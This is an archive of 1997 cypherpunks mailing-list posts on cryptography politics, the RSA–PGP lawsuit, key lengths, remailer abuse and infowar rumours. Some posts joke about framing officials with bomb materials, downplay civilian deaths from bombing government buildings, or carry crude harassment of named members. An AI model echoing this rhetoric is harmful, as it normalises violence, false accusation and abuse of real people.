> are now many more people on coderpunks and cryptography than there are
> on cypherpunks... take a look at these figures:
>
>   713 cryptography@c2.net
>   713 coderpunks@toad.com
>   245 cypherpunks@algebra.com + cypherpunks@cyberpass.net - duplicates

Coderpunks has not been very active, I think (although I don't always
notice which messages come from which lists).  Perry Metzger's moderated
cryptography@c2.net has had some good discussions lately, including
contributions from such people as Carl Ellison and Matt Blaze.  There
was an interesting proposal from James Donald for a possible approach
to what they are calling CACK, "Corporate Access to Corporate Keys",
without facilitating GAK, "Government Access to Keys".

The cypherpunks list continues to have the edge in political commentary
and bomb-making instructions. :-)

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 02:01:57 +0800
To: "Sidney R. Phillips" <cypherpunks@algebra.com
Subject: Re: Printers are munitions?
In-Reply-To: <3378A3E5.41C6@hsct22.ca.boeing.com>
Message-ID: <v03007800af9e675d4ff2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:24 AM -0800 5/13/97, Sidney R. Phillips wrote:
>Last Sunday on The Learning Channel there was a somewhat silly program
>on information
>warfare.  One thing which caught my attention however, was a claim by
>Win Schwartau
>(of inforwar fame) that NSA had placed narrow band transmitters in
>printers which
>wound up in air defense sites in Iraq.  Subsequently the transmissions
>were used
>for targeting durring the gulf war.  Has anyone heard of a separate
>source for this?

I don't know the context of these precise points, but the "printers sent to
Iraq had viruses in them" story was widely reported several years ago.

Except it turns out the stories all were rip-offs and repetitions, from all
appearances, of a story which ran in "Infoworld."

And except that the story in "Infoworld" was the April 1st edition. That so
many journalists repeated this as the "opening shot in I-War" says a lot
about the state of cyber-journalism.

As for transmitters in printers, this sounds like a variant. Plus, I
wouldn't think there was enough time between the start of the buildup of
the U.S. response and the air attacks for the plan to be hatched, for the
Iraqis to place and receive orders, etc. And the chance of some random
printer ending up in an air defense station seems unlikely. And so on.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 14 May 1997 02:22:48 +0800
To: cypherpunks@toad.com
Subject: Real Terrorism
In-Reply-To: <199705111714.NAA21881@dhp.com>
Message-ID: <3.0.1.32.19970513105933.00620c90@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:14 PM 5/11/97 -0400, lucifer Anonymous Remailer wrote:
> AMMONIUM TRIIODIDE CRYSTALS
Sigh.  Terror isn't our business, and any handbook that
can't tell ammonium tri-iodide from nitrogen tri-iodide
is more dangerous to its readers than anyone else.

If you _really_ wanted to scare governments,
you'd start publishing papers saying things like

	AMENDMENT 1 - Congress shall make no law ......

or
	n = p*q , p and q prime.
	c = m ** e mod n



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Tue, 13 May 1997 23:29:25 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: The War is Underway (fwd)
In-Reply-To: <199705131154.HAA20161@homeport.org>
Message-ID: <Pine.SUN.3.96.970513104902.9012W-100000@polaris.mindport.net>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 13 May 1997, Adam Shostack wrote:

> Black Unicorn wrote:
> 
> | > Systems that use randomly generated keys are
> | > limited only by the amount of available entropy, but then the passphrase
> | > security to encrypt the secret key or physical security become important.
> | > Using excessively long keys does not do much for security, as there are
> | > always going to be weaker links that an attacker can take advantage of.
> | > It doesn't hurt to use a 256-bit key, or larger, but it doesn't do much
> | > good, either.
> | 
> | Again, you have taken an important concept, total security, and reversed
> | it.  Instead of aiming to make each link as strong as possible, you have
> | aimed to design around the weakest link.
> | 
> | This is a serious mistake in my view.
> 
> 	I disagree with your approach.  In the real world, budgets are
> limited, time is limited, the pool of really decent people on any
> given project is small.  Fixing or strengthening the weakest link is
> my usual approach to these things.  Not as nice as having a
> bulletproof design from the start, but there aren't enough smart
> cypherpunks out there consulting.  (More on that in another post.)

I conceed this general point, but in context it does not stand up.
Specifically we were referring to the trade off between cipher keylength
and password size.

It was proposed that because people were unlikely to deal with passwords
large enough to fill the key with e.g., 128 bits of entropy, that it was
worthless to bother with 128 bit symetric ciphers.  I find this a hard
position to support.

> 
> | It costs little today to develop a cipher with larger keyspace.  (DES with
> | independent subkeys already exists and has a basic keyspace of 768 bits.
> | A meet in the middle attack reduces keyspace to 2^384.  Schneier discusses
> | the cipher briefly).  If users are willing to deal with large keys (I
> | certainly am) then software designers are restraining a more secure
> | implementation.
> 
> 	It takes an academic cryptographer about 6 months to develop a
> cipher.  Most academics don't see a point to moving beyond the 448
> bits available in Blowfish.

Ok, where are the 256+ bit blowfish implementations?

> Adam
> 
> -- 
> "It is seldom that liberty of any kind is lost all at once."
> 					               -Hume

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland
Rebel Directive #7:Avoid soccer games when a government assault threatens.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 13 May 1997 23:34:12 +0800
To: The Spectre <spectre@nac.net>
Subject: Enough of this shit already!
In-Reply-To: <13510758714442@nac.net>
Message-ID: <Pine.SUN.3.91.970513110309.5776E-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 13 May 1997, The Spectre wrote:

> To: cypherpunks@toad.com
> Date: Tue May 13 09:55:34 1997
> 
> > Dimi (Closet Homo) isa pimply old dweeb sitting at a  Xenix 286
> > computer masturbating at his own imagined cleverness.
> >  
> 
> This is the down side to anonymous remailers.. I think if you don't have 
> the balls to say something, don't say it.
> 
> Obviously, someone is saying something they don't wan't other people to 
> think they think..
> 
> I am, obviously, tired of adding filters to my mailbox.  Please knock off 
> this bullshit.  I think whoever posted this is a pimply young asshole 
> sitting on a c64 attempting to masturbate himself but can't find a 
> microscope with high enough magnification.

Agreed.  While I will restrain my oppinions of our unfriendly KOTM with a 
doctorate from the KGB, I'm tired of these spams.  Yes, they include the 
ones that IMHO come from Vulis, the ones to which Graham replies, the 
anonymous ones that reply to Graham, the permutations of them that 
spam Toto, and these.  :(

If you want to rag on Tim or Vulis, please do so, but not by setting up 
spam bots.  Granted some of those are funny the first time you see them, 
but automating them makes them as welcome as listening to an annoying fly 
buzzing over and over in your face.

Hell, the nice bomb making spam too is also a bitch being posted here.  
One could give the poster the benefit of the doubt, but it smells quite 
of the tactics used by the Postal fiends that mail child porno to an 
unsuspecting citizen unit, then arrest that citizen unit upon receipt.  
Lets not give the evil onesof the government more horsemen to ride over 
us. :(  A url to the stuff and a summary would have sufficed.  (And I'll 
restrain myself from saying that this was done by Vulis, though IMHO, it 
smells of his style of spam. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 13 May 1997 23:37:20 +0800
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970512134334.0096fca0@gateway.grumman.com>
Message-ID: <Pine.SUN.3.91.970513112001.5776H-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 12 May 1997, Rick Osborne wrote:

> Microsoft (and I can't believe I'm saying this) actually is doing it right
> for a change: when you sign up to be a part of any of their "clubs" (SBN,
> etc), you get asked if you want to receive further mail.

<FLAME: Climing on anti Microsoft Sandbox>

Erm, mayhaps, but they haven't lost their evil touch yet.  In recent news 
Borland is suing them for raiding their employees. :(  (Borland made the 
best intel compilers I've ever seen in terms of both compile speed and 
resulting code...  Microsoft has done everything in their power to crush 
this competitior including forcing them to give up ObjWin so for MFC 
inclusion.)  Nasty bastards.

</FLAME>

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 14 May 1997 01:28:48 +0800
To: cypherpunks@toad.com
Subject: PGP Prestidigitizes RSA...
Message-ID: <v030209bbaf9e396fd9c9@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


To paraphrase the cypherpunks maxim: "Cypherpunk fellow-travellers hack
corporations"...

Cheers,
Bob Hettinga

--- begin forwarded text


MIME-version: 1.0
X-MIME-Autoconverted: from quoted-printable to 8bit by listserv.aol.com id
                      LAA18484
Date:         Tue, 13 May 1997 11:03:31 -0500
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         "Kevin J. Connolly" <kconnolly@EVW.COM>
Subject:      Re: Encryption--RSA v. PGP
To:           CYBERIA-L@LISTSERV.AOL.COM

-----BEGIN PGP SIGNED MESSAGE-----

There are several additional bits and pieces to report.

First, RSA is not seeking to enjoin the distribution of PGP products.  The
lawsuit is seeking solely to revise the royalties to be paid.

Second, it can be said that the suit represents something of a stretch.
RSA (the original patent holder) assigned the patent to Public Key
Partners, whose membership consists of RSA Data Security, Inc. and
Cylink Corporation.  Public Key Partners had granted a license to
ViaCrypt, Inc., which was acquired by Lemcom, Inc.  Then Pretty Good
Privacy, Inc. acquired Lemcom and performed a reverse subsidiary
merger, with Lemcom as the surviving entity.  Lemcom then changed its
corporate style to (surprise!) Pretty Good Privacy, Inc.  Cylink--the other
half of Public Key Partners-- was not consulted before RSA purported to
terminate the license and sue PGP.

Third, It appears that one major reason for RSA's purported termination
of the license agreement was to get around the very broad arbitration
clause in the license agreement.

Finally, it appears that RSA commenced the suit in reaction to PGP's
development of algorithm-independent encryption.  This innovation would
make it possible for PGP to embrace not only the RSA Algorithm but also
Diffy-Helman, El Gamal (a variant of Diffy-Helman), elliptical curve
cryptography or even n-dimensional lattice vector schemes.  In the
meantime, however. PGP continues and will continue to incorporate the
RSA algorithm, if for no other reason than downward compatibility and
the need to continue to support the significant number of existing
RSA-based keypairs.

It should be noted that any bias apparent in this posting stems from the
failure of RSA's counsel to return my calls, even though I identified
myself and the fact that I am preparing an article for print in a significant
news weekly (which I will not identify until and unless the article actually
runs).  However, I did identify the publication to RSA's counsel, and he
chose to let me get my information from PGP, Cylink, and other industry
sources.

Kevin J. Connolly

The opinions expressed in this communication are those of the author,
not of Eaton & Van Winkle.
This communication is not legal advice.  If it were legal advice, it would
be accompanied by an invoice.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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qcPM0okSKCGEnySvBdeHJE2nf/7nn/CpYtFiPe36hkbfplpjOE4cRgupbr57AL9V
kxQluZQdJwJJKNwXrdhiCHHBleM7l7RUSSwIRovsMxy6+4Zd3MNweGKX7wfmFnX8
yRFOV1z7CGs=
=W5P9
-----END PGP SIGNATURE-----

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 14 May 1997 00:01:48 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Disinformation in L.A.
In-Reply-To: <Pine.GSO.3.95.970511120544.23519C-100000@cp.pathfinder.com>
Message-ID: <Pine.SUN.3.91.970513112800.5776J-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 11 May 1997, Declan McCullagh wrote:

> Here's another good idea for a cypherpunks project: *don't* use the
> Eternity Server to post even more bomb-making instructions all over the
> Web and Usenet.
> 
> You might remember I wrote recently about the DoJ report released this
> month that calls for new legislation to ban bomb-making info online. Now
> Feinstein's office tells me she's going to introduce a bill. 
> 
> No need to throw red meat to the hounds.
> 
> (Hmmm. Looking back at my message, I'm essentially saying "censor
> yourself or the government will." Not sure I like that argument.)
> 
> -Declan

Better yet, use their own tactics against them.  Order tons of bomb 
making materials in the name of their secretaries and have them sent to 
their work and their homes.  

Send them AOL disks that contain hidden files with the bomb stuff.

Then call the postal inspectors anonymously and point them at the "evidence."

:)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 03:13:38 +0800
To: cypherpunks@algebra.com
Subject: Re: Real Terrorism
In-Reply-To: <199705111714.NAA21881@dhp.com>
Message-ID: <v03007802af9e78364541@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:59 AM -0800 5/13/97, Bill Stewart wrote:
>At 01:14 PM 5/11/97 -0400, lucifer Anonymous Remailer wrote:
>> AMMONIUM TRIIODIDE CRYSTALS
>Sigh.  Terror isn't our business, and any handbook that
>can't tell ammonium tri-iodide from nitrogen tri-iodide
>is more dangerous to its readers than anyone else.
>
>If you _really_ wanted to scare governments,
>you'd start publishing papers saying things like
>
>	AMENDMENT 1 - Congress shall make no law ......
>
>or
>	n = p*q , p and q prime.
>	c = m ** e mod n

Please, Bill, don't throw them red meat like this! If we don't manage to
restrain ourselves, then they'll have to restrain us.

Posting seditious material such as your excerpt above is not only violation
of the Rights of Wimmin Act of 1997, it is also spew from Dead White Males
writing nonsense that failed to comprehend the special protections needed
by wimmin, minorities, the psychologically damaged, persons of poundage,
and the attention-challenged.

And as for your second item, I'm glad you stopped before doing more damage.
I would hate to hear Senatory Feinstein's reaction if she were to discover
that cryptographic munitions instructions were being published on the Net.

Please, people, restrain yourselves! I have to agree with Declan and Ray on
this one.

--Klaus-boom von Future Primer Cord

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Wilson <0005514706@mcimail.com>
Date: Wed, 14 May 1997 01:16:48 +0800
To: cpunks <cypherpunks@algebra.com>
Subject: Infowar, war, and cpunks
Message-ID: <97051317051367/0005514706DC2EM@mcimail.com>
MIME-Version: 1.0
Content-Type: text/plain


If any cpunk is interested in infowar, but with a strong crypto
perspective, help yourself to:
http://www.geocities.com/CapitolHill/4843/
MW





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spectre <spectre@nac.net>
Date: Wed, 14 May 1997 00:36:40 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
Message-ID: <16115920916870@nac.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Tue May 13 12:16:27 1997

> Better yet, use their own tactics against them.  Order tons of bomb 
> making materials in the name of their secretaries and have them sent to 
> their work and their homes.  
> 
heh..

> Send them AOL disks that contain hidden files with the bomb stuff.
> 
> Then call the postal inspectors anonymously and point them at the 
> "evidence."
> 
> :)
You know.. this has potential... :)


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 14 May 1997 02:56:09 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [STEGO] Secure envelopes
In-Reply-To: <199705131728.KAA25098@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970513123550.109598A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 13 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to
him.

> Tim C[ocksucker] May carries a turd in his wallet for 
> identification purposes.
> 
>     _@_
>    /   \
>   | o o |
> -U|--U--|U-- Tim C[ocksucker] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 04:08:35 +0800
To: Ryan Anderson <cypherpunks@algebra.com
Subject: Re: Printers are munitions?
In-Reply-To: <v03007800af9e675d4ff2@[207.167.93.63]>
Message-ID: <v03007803af9e8359e305@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:19 AM -0800 5/13/97, Ryan Anderson wrote:
>On Tue, 13 May 1997, Tim May wrote:
>
>> As for transmitters in printers, this sounds like a variant. Plus, I
>> wouldn't think there was enough time between the start of the buildup of
>> the U.S. response and the air attacks for the plan to be hatched, for the
>> Iraqis to place and receive orders, etc. And the chance of some random
>> printer ending up in an air defense station seems unlikely. And so on.
>
>Besides the fact that the US wasn't exporting anything to IRAQ at the
>time, along with most of the rest of the western world, where would they
>have bought printers from?

Well, of course the U.S. wasn't shipping to Iraq at this time. I didn't
even cite this as a reason because the embargo began in August of 1990.

The original Infoworld story cited Jordan (if I remember correctly) as the
place the printers had the viruses placed in them, to make the story sound
more plausible.

I do believe the U.S. has used information warfare methods, of course. Lots
of examples, including Inslaw and Systematics, etc.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 01:56:08 +0800
To: cypherpunks@toad.com
Subject: Re: War & InfoWar
Message-ID: <199705131735.NAA11422@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 11 May 1997, Paul Bradley wrote:
 
>> >   How many government employees quit in outrage, stating that    
> > they would not take part in such atrocities? How many took a
> > vocal moral stand against their superiors, or exposed the
> > government duplicity involved in the police action?
> 
> They are all whores, so I suggest we fuck them like whores.
>

No thanks, you have to pay for whores.  Let's not give them any more 
business.  Besides, who knows what VD government whores carry. AP is
better. FP (Fucking Politicians) is what they do best to each other.

WhoreMonger.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 02:07:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: whine politics again
Message-ID: <199705131752.NAA13536@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Earlier, paul said:
>Also, on a slightly more practical point, as I have said, if one was to 
>bomb any major commercial or government building the chances of killing a 
>truly innocent person are fairly small anyway.

What the ultimate result here should be we all demand our legislators pass
a law prohibiting the establishment of daycare centers, schools, hospitals
or nursing homes within 1000 ft of government centers, army bases, or any
federal offices.

They could call it the "No Human Shielding law."

What legislator would dare complain that the federal government not use
his or her constituents children to shield ATF, FBI or other TLA agents?

Hey, it's "For the children", right?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spectre <spectre@nac.net>
Date: Wed, 14 May 1997 02:28:30 +0800
To: cypherpunks@toad.com
Subject: Re: [STEGO] Secure envelopes
Message-ID: <18052959500386@nac.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Tue May 13 14:09:57 1997

> Tim C[ocksucker] May carries a turd in his wallet for 
> identification purposes.
> 
In response to this childish, no.cajones.com message, I have removed all 
previous filters and added one, simpler filter on incoming mail.  Delete 
when recieved from nobody@huge.cajones.com or lucifer@dhp.com.

I suggest you all to the same.. it may actually serve to make this list 
worthwhile...

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 05:29:38 +0800
To: cypherpunks@toad.com
Subject: Re: Digital signatures
Message-ID: <199705132107.OAA06781@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Tue, 13 May 1997
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Cc: cypherpunks@toad.com
Subject: Re: Digital signatures
Sender: owner-cypherpunks@toad.com

On Mon, 12 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to
him.

> Timmy May's family tree goes straight up. All of his ancestors 
> were siblings, to dumb to recognize Graham-John Bullers in the dark.
> 
>         _  o
>        |<)_/# Timmy May
>        TT  <T
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Wed, 14 May 1997 05:44:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Public Key Break Paper
Message-ID: <199705132120.OAA30804@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young, <jya@pipeline.com>, writes:
> In early April we posted a message which referred to
> William H. Payne's paper "Public Key Cryptography is
> Easy to Break."
>
> Mr. Payne has provided the 1990 5-page draft paper 
> along with other documents, which we've added to the file
> at:
>
>    http://jya.com/snlhit.htm
>
> The paper is part of several attachments supporting
> Mr. Payne's charge against Sandia National Laboratory. 
> Other documents in the file help explain why the paper 
> is sensitive to SNL and perhaps to NSA.

I was curious to see this paper, since it would be an earth-shattering
result if true, but unsurprisingly it is not as amazing as it sounds.

First, it is not a general attack on public key cryptography, but
rather it is a specific method for attacking RSA.

Second, I remember seeing this algorithm discussed on sci.crypt in the
past, probably in 1996.  I don't know if it came from this same guy
or if somebody else (re)discovered it.  But the discussion there indicated
that the algorithm was not as efficient as claimed.  The claim is that
it takes an amount of work proportional to the number of bits in the
modulus, which would indeed be a breakthrough.  Actually I think it will
take about (2^n)/n iterations, making it a very poor method (*).

Third, it claims to break RSA without factoring, but actually the algorithm
could be used to factor n.  The algorithm gives you (p-1)(q-1) or a
large factor thereof, and as discussed on sci.crypt a few months ago,
this is enough to let you find p and q (through a tricky method whose
details I don't remember!).

Hal

(*) The final string of 1's will be as long as the value of the phi(n)
factor being found, which will be on the order of 2^n, so there will
be about 2^n 1's in the final string, more than there are atoms in the
universe for numbers of interest.  (You don't have to store the whole
string though.)  Each iteration adds at most n bits to the string, so
the number of iterations must be as above.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 05:38:55 +0800
To: The Spectre <cypherpunks@toad.com
Subject: Spectre disapproves of remailers and anonmyity
In-Reply-To: <19571593902558@nac.net>
Message-ID: <v03007802af9e991b4972@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:57 AM -0800 5/13/97, The Spectre wrote:

>hmmmm.. Go figure out how many years of your life you'll waste doing that
>once you calculate how many of these messages arrive each hour, let alone
>each day.  I, personally, have been on this mailing list for a while now,
>and have never seen *any* worthwhile posts from either of those remailers,
>or any other for that matter.  If you've got something to say, say it.
>Anything less is cowardice, in one form or another.

Nonsense. People use remailers for all sorts of reasons.

(Speaking for myself, and trying to be careful to not implicate myself in
further felonies, I've used the available remailers to post liberated
information of various sorts. Go back and check the archives. You'll find
that "Dumpster divings" of information from corporate conspirators (a la
Cylink, Mykotronx) was posted through anonymous remailers. Who would argue
that the cause of liberty would be better served by posting these items
under one's own name, where the Corporate State could then file lawsuits,
order midnight raids, etc.?)

As for the time to delete the Vulis spam, you must be innumerate.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wazoo MixMaster <mix@earth.wazoo.com>
Date: Wed, 14 May 1997 06:25:36 +0800
To: cypherpunks@toad.com
Subject: Re: [STEGO] Secure envelopes
Message-ID: <199705131436.OAA10591@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


The Spectre, writing under an anonymous name bravely wrote:

From: The Spectre <spectre@nac.net>
To: cypherpunks@toad.com
Subject: Re: [STEGO] Secure envelopes
Date: Tue, 13 May 1997 15:57:15 -0400

[snip]

hmmmm.. Go figure out how many years of your life you'll waste doing that 
once you calculate how many of these messages arrive each hour, let alone 
each day.  I, personally, have been on this mailing list for a while now, 
and have never seen *any* worthwhile posts from either of those remailers, 
or any other for that matter.  If you've got something to say, say it.  
Anything less is cowardice, in one form or another.

Or, if you like, I'll remove my spam filter and you can come hit my delete key for me... 


[snip his cowardly key block]

[snip his cowardly anonymous signature]

Let me get this straight Mr. Cowardly Lion; if one uses a remailer, he is cowardly (in one form or another). But not an anonymous address? Not PGP?

Wise up, friend; this is cypherpunks. Some of us DO these things, and we do not have to explain ourselves to you or or anyone. Some times it's for fun; sometimes it's deadly serious.

So use the delete key; add a "filter file (;--);" do whatever you choose, but spare me the sanctimonious lecture.

Hugh_Balls@lucifer.penet.fi

TruthSmuggler's Alter Ego 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hodge Podge <hodgepodge@nym.alias.net>
Date: Tue, 13 May 1997 23:02:30 +0800
To: Theodor.SCHLICKMANN@bxl.dg13.cec.be
Subject: Re: Copy of: UK TTP Paper - For Your Information
Message-ID: <19970513145014.13839.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 12 May 1997 Theodor.SCHLICKMANN@BXL.DG13.cec.be wrote:

> As further discussed in the answer to question 4, we can 
> confirm that we do not propose that the user be required to escrow his 
> private signature key (however generated) with a TTP. 
[snip]
> If, however, the TTP either generates the 
> confidentiality key pair for a user,  or, for example, certifies a 
